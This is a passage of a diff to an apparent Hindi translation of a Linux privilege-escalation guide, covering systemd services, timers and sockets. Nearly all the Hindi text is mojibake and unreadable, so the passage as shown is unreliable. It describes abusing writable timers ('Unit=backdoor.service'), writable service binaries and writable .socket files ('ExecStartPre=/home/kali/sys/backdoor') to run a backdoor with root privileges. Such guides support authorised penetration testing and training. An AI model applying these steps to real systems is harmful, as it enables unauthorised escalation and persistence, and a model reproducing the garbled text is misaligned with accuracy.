рд╣реИрдВ, рдЙрд╕реА рдирд╛рдо рдХрд╛ рдПрдХ **executable** рдмрдирд╛рдПрдВ рдЬреИрд╕рд╛ рдХрд┐ relative path binary рдХрд╛ рд╣реИ, рдФрд░ рдЬрдм service рд╕реЗ vulnerable action (**Start**, **Stop**, **Reload**) рдХреЛ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рдПрдЧрд╛, рдЖрдкрдХрд╛ **backdoor** executed рд╣реЛрдЧрд╛ (unprivileged users рдЖрдорддреМрд░ рдкрд░ рд╕реЗрд╡рд╛рдПрдБ start/stop рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ, рдкрд░ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк `sudo -l` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред -**Learn more about services with `man systemd.service`.** +**services рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП `man systemd.service` рджреЗрдЦреЗрдВред** -## **Timers** +## **рдЯрд╛рдЗрдорд░** -**Timers** systemd unit files рд╣реИрдВ рдЬрд┐рдирдХреЗ рдирд╛рдо рдХрд╛ рдЕрдВрдд `**.timer**` рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдпреЗ `**.service**` files рдпрд╛ events рдХреЛ control рдХрд░рддреЗ рд╣реИрдВред **Timers** рдХреЛ cron рдХрд╛ alternative рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдирдореЗрдВ calendar time events рдФрд░ monotonic time events рдХреЗ рд▓рд┐рдП built-in support рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрдиреНрд╣реЗрдВ asynchronously рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +**рдЯрд╛рдЗрдорд░** systemd unit files рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдирдХреЗ рдирд╛рдо рдХрд╛ рдЕрдВрдд `**.timer**` рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдпреЗ `**.service**` рдлрд╝рд╛рдЗрд▓реЛрдВ рдпрд╛ рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред **рдЯрд╛рдЗрдорд░** рдХреЛ cron рдХреЗ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдирдореЗрдВ calendar time events рдФрд░ monotonic time events рдХреЗ рд▓рд┐рдП built-in рд╕рдкреЛрд░реНрдЯ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрдиреНрд╣реЗрдВ asynchronously рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдЖрдк рд╕рднреА timers рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк рд╕рднреА рдЯрд╛рдЗрдорд░ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реЗ enumerate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash systemctl list-timers --all ``` ### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп timers -рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА timer рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ systemd.unit рдХреЗ рдХреБрдЫ рдореМрдЬреВрдж units (рдЬреИрд╕реЗ `.service` рдпрд╛ `.target`) рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА timer рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ рдореМрдЬреВрдж systemd.unit рдЗрдХрд╛рдЗрдпреЛрдВ рдХреЛ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ `.service` рдпрд╛ `.target`) ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +> рдпрд╣ рд╡рд╣ unit рд╣реИ рдЬрд┐рд╕реЗ рдЗрд╕ timer рдХреЗ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрд░реНрдЧреБрдореЗрдВрдЯ рдПрдХ unit рдирд╛рдо рд╣реИ рдЬрд┐рд╕рдХрд╛ suffix ".timer" рдирд╣реАрдВ рд╣реИред рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдорд╛рди рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЙрд╕ service рдХреЛ рдмрддрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо timer unit рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИ, рдХреЗрд╡рд▓ suffix рдЕрд▓рдЧ рд╣реЛрддрд╛ рд╣реИред (рдКрдкрд░ рджреЗрдЦреЗрдВред) рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рд╕рдХреНрд░рд┐рдп рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ unit рдХрд╛ рдирд╛рдо рдФрд░ timer unit рдХрд╛ рдирд╛рдо suffix рдХреЛ рдЫреЛрдбрд╝рдХрд░ рд╕рдорд╛рди рд╣реЛрдВред -> рдЬрдм рдпрд╣ timer рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ рддреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП unitред рдЖрд░реНрдЧреНрдпреВрдореЗрдВрдЯ рдПрдХ unit рдирд╛рдо рд╣реИ, рдЬрд┐рд╕рдХрд╛ suffix ".timer" рдирд╣реАрдВ рд╣реИред рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдорд╛рди рдЙрд╕ service рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо timer unit рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИ, рд╕рд┐рд╡рд╛рдп suffix рдХреЗред (рдКрдкрд░ рджреЗрдЦреЗрдВред) рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рд╕рдХреНрд░рд┐рдп рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ unit рдХрд╛ рдирд╛рдо рдФрд░ timer unit рдХрд╛ рдирд╛рдо suffix рдХреЗ рдЕрд▓рд╛рд╡рд╛ рд╕рдорд╛рди рд╣реЛрдВред +рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдирд┐рдореНрди рдХрд░рдирд╛ рд╣реЛрдЧрд╛: -Therefore, to abuse this permission you would need to: +- рдХрд┐рд╕реА systemd unit (рдЬреИрд╕реЗ рдХрд┐ `.service`) рдХреЛ рдЦреЛрдЬреЗрдВ рдЬреЛ **рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдмрд╛рдЗрдирд░реА рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реЛ** +- рдХрд┐рд╕реА systemd unit рдХреЛ рдЦреЛрдЬреЗрдВ рдЬреЛ **relative path рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реЛ** рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ **systemd PATH** рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреЗ рдЕрдзрд┐рдХрд╛рд░** рд╣реЛрдВ (рддрд╛рдХрд┐ рдЖрдк рдЙрд╕ executable рдХреА рдиреШрд▓ рдХрд░ рд╕рдХреЗрдВ) -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**timers рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП `man systemd.timer` рджреЗрдЦреЗрдВред** -**Learn more about timers with `man systemd.timer`.** +### **рдЯрд╛рдЗрдорд░ рд╕рдХреНрд╖рдо рдХрд░рдирд╛** -### **Enabling Timer** - -To enable a timer you need root privileges and to execute: +рдПрдХ timer рдХреЛ enable рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ root privileges рдЪрд╛рд╣рд┐рдП рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer тЖТ /lib/systemd/system/backu2.timer. ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **timer** рдХреЛ `/etc/systemd/system/.wants/.timer` рдкрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ symlink рдмрдирд╛рдХрд░ **рд╕рдХреНрд░рд┐рдп** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **timer** рдХреЛ `/etc/systemd/system/.wants/.timer` рдкрд░ рдЗрд╕рдХрд╛ symlink рдмрдирд╛рдХрд░ **рд╕рдХреНрд░рд┐рдп** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ ## Sockets -Unix Domain Sockets (UDS) client-server рдореЙрдбрд▓ рдХреЗ рднреАрддрд░ рдПрдХ рд╣реА рдпрд╛ рд╡рд┐рднрд┐рдиреНрди рдорд╢реАрдиреЛрдВ рдкрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдВрдЪрд╛рд░ рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВред рд╡реЗ рдЗрдВрдЯрд░-рдХрдореНрдкреНрдпреВрдЯрд░ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдорд╛рдирдХ Unix descriptor рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ `.socket` рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЗрдЯрдЕрдк рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред +Unix Domain Sockets (UDS) client-server рдореЙрдбрд▓ рдореЗрдВ рдПрдХ рд╣реА рдпрд╛ рдЕрд▓рдЧ рдорд╢реАрдиреЛрдВ рдкрд░ **рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдВрдЪрд╛рд░ (process communication)** рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдорд╛рдирдХ Unix descriptor рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ `.socket` files рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЗрдЯрдЕрдк рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред -Sockets рдХреЛ `.socket` рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +Sockets рдХреЛ `.socket` files рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -**Sockets рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП `man systemd.socket` рджреЗрдЦреЗрдВред** рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдХрдИ рд░реЛрдЪрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ: +**Sockets рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП `man systemd.socket` рджреЗрдЦреЗрдВред** рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдХрдИ рджрд┐рд▓рдЪрд╕реНрдк рдкреИрд░рд╛рдореАрдЯрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: рдпреЗ рд╡рд┐рдХрд▓реНрдк рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реИрдВ рд▓реЗрдХрд┐рди рдПрдХ рд╕рд╛рд░рд╛рдВрд╢ рдХреЗ рддреМрд░ рдкрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ **рджрд┐рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ socket рдХрд╣рд╛рдБ рд╕реБрдирдиреЗ рд╡рд╛рд▓рд╛ рд╣реИ (AF_UNIX socket рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде, рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП IPv4/6 рдФрд░/рдпрд╛ рдкреЛрд░реНрдЯ рдирдВрдмрд░, рдЖрджрд┐) -- `Accept`: рдПрдХ boolean рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИред рдпрджрд┐ **true**, рддреЛ рд╣рд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ **service instance рдмрдирддрд╛ рд╣реИ** рдФрд░ рдХреЗрд╡рд▓ рдХрдиреЗрдХреНрд╢рди socket рд╣реА рдЙрд╕реЗ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ **false**, рддреЛ рд╕рднреА listening sockets рд╕реНрд╡рдпрдВ **started service unit рдХреЛ рдкрд╛рд╕** рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ service unit рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Datagram sockets рдФрд░ FIFOs рдХреЗ рд▓рд┐рдП рдпрд╣ рдорд╛рди рдЙрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ single service unit рдмрд┐рдирд╛ рд╢рд░реНрдд рд╕рднреА incoming рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИред **Defaults to false**ред рдкреНрд░рджрд░реНрд╢рди рдХрд╛рд░рдгреЛрдВ рд╕реЗ, рдирдП daemons рдХреЗрд╡рд▓ рдЗрд╕ рддрд░рд╣ рд▓рд┐рдЦрдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рд╡реЗ `Accept=no` рдХреЗ рдЕрдиреБрдХреВрд▓ рд╣реЛрдВред -- `ExecStartPre`, `ExecStartPost`: рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ command lines рд▓реЗрддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ listening **sockets**/FIFOs рдХреЗ рдХреНрд░рдорд╢рдГ **рдмрдиреЗ рдФрд░ bound рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ** рдпрд╛ **рдмрд╛рдж рдореЗрдВ** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред command line рдХрд╛ рдкрд╣рд▓рд╛ token рдПрдХ absolute filename рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЙрд╕рдХреЗ рдмрд╛рдж process рдХреЗ рд▓рд┐рдП arguments рдЖрддреЗ рд╣реИрдВред -- `ExecStopPre`, `ExecStopPost`: рдЕрддрд┐рд░рд┐рдХреНрдд **commands** рдЬреЛ listening **sockets**/FIFOs рдХреЗ рдХреНрд░рдорд╢рдГ **рдмрдВрдж рд╣реЛрдиреЗ рдФрд░ рд╣рдЯрд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ** рдпрд╛ **рдмрд╛рдж рдореЗрдВ** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред -- `Service`: рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **service** unit рдХрд╛ рдирд╛рдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗрд╡рд▓ рдЙрди sockets рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рд╣реИ рдЬрд┐рдирдХреЗ рд▓рд┐рдП `Accept=no` рд╣реИред рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЙрд╕ service рдкрд░ рд╕реЗрдЯ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо socket рдХреЗ рдирд╛рдо рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИ (suffix рдмрджрд▓рдХрд░)ред рдЕрдзрд┐рдХрд╛рдВрд╢ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: рдпреЗ рд╡рд┐рдХрд▓реНрдк рдЕрд▓рдЧ рд╣реИрдВ рд▓реЗрдХрд┐рди рд╕рд╛рд░рд╛рдВрд╢ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ рдпрд╣ **рдмрддрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХрд╣рд╛рдБ рдпрд╣ socket рдХреЛ рд╕реБрдирдиреЗ рд╡рд╛рд▓рд╛ рд╣реИ** (AF_UNIX socket рдлрд╝рд╛рдЗрд▓ рдХрд╛ path, IPv4/6 рдФрд░/рдпрд╛ рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП port рдирдВрдмрд░, рдЖрджрд┐)ред +- `Accept`: boolean argument рд▓реЗрддрд╛ рд╣реИред рдпрджрд┐ **true**, рддреЛ рдкреНрд░рддреНрдпреЗрдХ рдЗрдирдХрдорд┐рдВрдЧ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ **service instance рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ** рдФрд░ рдХреЗрд╡рд▓ рдХрдиреЗрдХреНрд╢рди socket рд╣реА рдЙрд╕реЗ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ **false**, рддреЛ рд╕рднреА listening sockets рд╕реНрд╡рдпрдВ **started service unit рдХреЛ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ**, рдФрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ service unit рд╣реА рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИред рдпрд╣ рдорд╛рди datagram sockets рдФрд░ FIFOs рдХреЗ рд▓рд┐рдП рдЕрдирджреЗрдЦрд╛ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ рд╣реА service unit рдмрд┐рдирд╛ рд╢рд░реНрдд рд╕рднреА рдЗрдирдХрдорд┐рдВрдЧ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИред **Defaults to false**ред рдкреНрд░рджрд░реНрд╢рди рдХрд╛рд░рдгреЛрдВ рд╕реЗ, рдирдП daemons рдХреЗрд╡рд▓ `Accept=no` рдХреЗ рдЕрдиреБрд░реВрдк рд╣реА рд▓рд┐рдЦрдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИред +- `ExecStartPre`, `ExecStartPost`: рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ command lines рд▓реЗрддреЗ рд╣реИрдВ, рдЬреЛ рдХреНрд░рдорд╢рдГ listening **sockets**/FIFOs рдХреЗ **рдмрдирд╛рдП рдЬрд╛рдиреЗ** рдФрд░ рдмрд╛рдЗрдВрдб рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╛ рдмрд╛рдж рдореЗрдВ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрддреЗ рд╣реИрдВред рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдХрд╛ рдкрд╣рд▓рд╛ token рдПрдХ absolute filename рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЙрд╕рдХреЗ рдмрд╛рдж process рдХреЗ рд▓рд┐рдП arguments рдЖрддреЗ рд╣реИрдВред +- `ExecStopPre`, `ExecStopPost`: рдЕрддрд┐рд░рд┐рдХреНрдд **commands** рдЬреЛ рдХреНрд░рдорд╢рдГ listening **sockets**/FIFOs рдХреЗ **рдмрдВрдж** рдФрд░ рд╣рдЯрд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╛ рдмрд╛рдж рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред +- `Service`: incoming traffic рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **service** unit рдХрд╛ рдирд╛рдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧ рдХреЗрд╡рд▓ рдЙрди sockets рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рд╣реИ рдЬрд┐рдирдХреЗ рд▓рд┐рдП Accept=no рд╣реИред рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЙрд╕ service рдХреЛ рдЪреБрдиреЗрдЧрд╛ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо socket рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИ (рд╕рдлрд▓рд┐рдХреНрд╕ рдмрджрд▓рдХрд░)ред рдЕрдзрд┐рдХрд╛рдВрд╢ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред -### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп .socket рдлрд╝рд╛рдЗрд▓реЗрдВ +### Writable .socket files -рдпрджрд┐ рдЖрдкрдХреЛ рдХреЛрдИ **writable** `.socket` рдлрд╝рд╛рдЗрд▓ рдорд┐рд▓рддреА рд╣реИ рддреЛ рдЖрдк `[Socket]` рд╕реЗрдХреНрд╢рди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдХреБрдЫ рдРрд╕рд╛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: `ExecStartPre=/home/kali/sys/backdoor` рдФрд░ backdoor socket рдмрдирд╛рдпреЗ рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЪрд▓ рдЬрд╛рдПрдЧреАред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╕рдВрднрд╛рд╡рддрдГ рдорд╢реАрди рдХреЗ reboot рд╣реЛрдиреЗ рддрдХ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред**\ -_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдЙрд╕ socket рдлрд╝рд╛рдЗрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рд╡рд░рдирд╛ backdoor рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реЛрдЧрд╛_ +рдпрджрд┐ рдЖрдк рдХреЛрдИ **рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп** `.socket` file рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк `[Socket]` рд╕реЗрдХреНрд╢рди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: `ExecStartPre=/home/kali/sys/backdoor` рдФрд░ backdoor socket рдХреЗ рдмрдирд╛рдП рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ **рд╢рд╛рдпрдж рдорд╢реАрди рдХреЗ reboot рд╣реЛрдиреЗ рддрдХ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝реЗрдЧрд╛ред**\ +_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдЙрд╕ socket file configuration рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рд╡рд░рдирд╛ backdoor рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реЛрдЧрд╛_ ### Writable sockets -рдпрджрд┐ рдЖрдк рдХреЛрдИ **writable socket** рдкрд╣рдЪрд╛рдирддреЗ рд╣реИрдВ (_рдЕрдм рд╣рдо Unix Sockets рдХреА рдмрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рди рдХрд┐ config `.socket` рдлрд╝рд╛рдЗрд▓реЛрдВ 